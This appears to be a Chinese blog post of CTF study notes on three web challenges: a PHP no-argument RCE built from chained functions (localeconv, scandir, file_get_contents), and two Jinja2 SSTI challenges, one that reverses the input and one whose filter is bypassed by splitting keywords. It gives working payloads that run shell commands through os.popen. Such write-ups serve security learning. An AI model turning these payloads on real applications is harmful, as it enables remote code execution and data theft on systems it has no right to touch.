4.3学习总结

[HNCTF 2022 WEEK2]Canyource(无参数)

通过这题又接触了一种无参数RCE的方法,前面学习的getallheaders只有在apache环境下才能使用,具有一定的局限性

这里是利用php函数来构造读取flag的方法

localeconv() -- 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() -- 返回数组中的当前单元, 默认取第一个值

next -- 将内部指针指向数组下一个元素并输出

scandir() -- 扫描目录

array_reverse() -- 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

end() - 读取数组最后一个元素

current() - 读取数组的第一个元

打开环境,看见';'就能意识到是无参数了

注意这里不是apache环境,所以getallheaders没用,当时我就是尝试了很久都没有成功

先查看返回包含信息的数组

复制代码
code=var_dump(localeconv())

返回数组中的单元,这里因为localeconv返回的第一个是".",所以默认的返回第一个单元就是"."

复制代码
code=var_dump(pos(localeconv()))

返回单元后,扫描单元下目录,利用scandir函数

复制代码
code=var_dump(scandir(pos(localeconv())))

看见了flag,要读取,high和show都被过滤了,所以可以用file_get_contents(),但是flag没有在第一个数组,也没有在第二个数组(如果在第二个数组就可以用next使得内部指针指向下一个单位来读取)

可以翻转后再进行调整

复制代码
code=var_dump(array_reverse(scandir(pos(localeconv()))))

此时的flag就在第二个位置,用next调整指针位置来读取

复制代码
code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))))

这题主要是无参数RCE的另外一种构造

[HZNUCTF 2023 preliminary]flask(倒序排序)

打开环境,看见name在做了一些题的情况下应该是能想到SSTI的,开始测试注入的模板

在测试的时候发现对字符串进行了倒序排序,在尝试了6{*comment*}6之后,在尝试{{7*7}}时报错了

在尝试{{7*7}}时报错了(我以为是自己判断的问题,没去想过滤的问题,看了wp才知道是存在过滤,对{{进行了过滤)

既然存在倒序排序,那么就倒序排序payload后注入,负负得正,确实是jinja2模板类型

利用脚本对payload进行倒序排序,如果想尝试手工注入也是可以的

复制代码
import base64

strA = input()
strB = strA[::-1]

print(strB)

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

看见flag了,但是cat出来不是flag

又去查lwp才知道flag在env(环境变量)中,这个环境变量真不容易想到,记得有一次的ctf比赛就有一题flag藏在env里面,但是那题给来语句的暗示,这里我没明白怎么猜到的env

[NCTF 2018]flask真香(字符串拼接)

打开环境,可以直接传参来进行测试

这说明了是SSTI中jinja2的模板类型注入,按照正常来说,应该进行class来返回对象的类

复制代码
{{""['__class__']}}

没有回显,fuzz一下,不止SQL可以fuzz,SSTI也可以

过滤了一些命令吧,那么绕过就是首要问题, 我以为是要用新的命令来代替,没想到是进行拼接

复制代码
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()%7D%7D

os位置269

复制代码
{{""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}

看见flag,tac/flag

复制代码
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('tac%20/Th1s_is__F1114g').read()")%7D%7D
相关推荐
好奇龙猫6 分钟前
【人工智能学习-AI入试相关题目练习-第十六次】
人工智能·学习
啊我不会诶1 小时前
Codeforces Round 1071 (Div. 3) vp补题
开发语言·学习·算法
星火开发设计1 小时前
命名空间 namespace:解决命名冲突的利器
c语言·开发语言·c++·学习·算法·知识
强子感冒了1 小时前
CSS基础学习:CSS选择器与优先级规则
前端·css·学习
修己xj2 小时前
一月存档,二月加载
学习
蒸蒸yyyyzwd2 小时前
c网络编程学习笔记
c语言·网络·学习
驱动探索者2 小时前
linux hwspinlock 学习
linux·运维·学习
近津薪荼2 小时前
优选算法——滑动窗口1(单调性)
c++·学习·算法
齐鲁九零2 小时前
【AI推荐】推荐适合学英语的美剧
学习
lxl13072 小时前
学习C++(6)日期类的实现+取地址运算符重载
开发语言·c++·学习